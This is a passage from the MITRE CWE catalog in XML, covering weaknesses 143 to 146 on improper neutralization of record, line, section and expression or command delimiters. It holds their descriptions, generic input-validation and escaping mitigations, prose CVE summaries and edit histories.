               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Value Delimiter</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-04-05">Failure to Sanitize Value Delimiters</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="143" Name="Improper Neutralization of Record Delimiters" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as record delimiters when they are sent to a downstream component.</Description>
         <Extended_Description>As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="140" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Description>Developers should anticipate that record delimiters will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-28">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2004-1982</Reference>
               <Description>Carriage returns in subject field allow adding new records to data file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1982</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0527</Reference>
               <Description>Attacker inserts carriage returns and "|" field separator characters to add new user/privileges.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0527</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Record Delimiter</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 8, &#34;Embedded Delimiters&#34;, Page 408"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Record Delimiter</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-04-05">Failure to Sanitize Record Delimiters</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="144" Name="Improper Neutralization of Line Delimiters" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as line delimiters when they are sent to a downstream component.</Description>
         <Extended_Description>As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="140" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanAlsoBe" CWE_ID="93" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Description>Developers should anticipate that line delimiters will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-28">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-0267</Reference>
               <Description>Linebreak in field of PHP script allows admin privileges when written to data file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0267</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Line Delimiter</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>IDS03-J</Entry_ID>
               <Entry_Name>Do not log unsanitized user input</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 8, &#34;Embedded Delimiters&#34;, Page 408"/>
         </References>
         <Notes>
            <Note Type="Relationship">Depending on the language and syntax being used, this could be the same as the record delimiter (CWE-143).</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Line Delimiter</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-04-05">Failure to Sanitize Line Delimiters</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="145" Name="Improper Neutralization of Section Delimiters" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as section delimiters when they are sent to a downstream component.</Description>
         <Extended_Description>
            <xhtml:p>As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.</xhtml:p>
            <xhtml:p>One example of a section delimiter is the boundary string in a multipart MIME message. In many cases, doubled line delimiters can serve as a section delimiter.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="140" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanAlsoBe" CWE_ID="93" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Description>Developers should anticipate that section delimiters will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-28">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Section Delimiter</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 8, &#34;Embedded Delimiters&#34;, Page 408"/>
         </References>
         <Notes>
            <Note Type="Relationship">Depending on the language and syntax being used, this could be the same as the record delimiter (CWE-143).</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Section Delimiter</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-04-05">Failure to Sanitize Section Delimiters</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="146" Name="Improper Neutralization of Expression/Command Delimiters" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as expression or command delimiters when they are sent to a downstream component.</Description>
         <Extended_Description>As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="140" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Scope>Other</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Alter Execution Logic</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Description>Developers should anticipate that inter-expression and inter-command delimiters will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-28">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Delimiter between Expressions or Commands</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
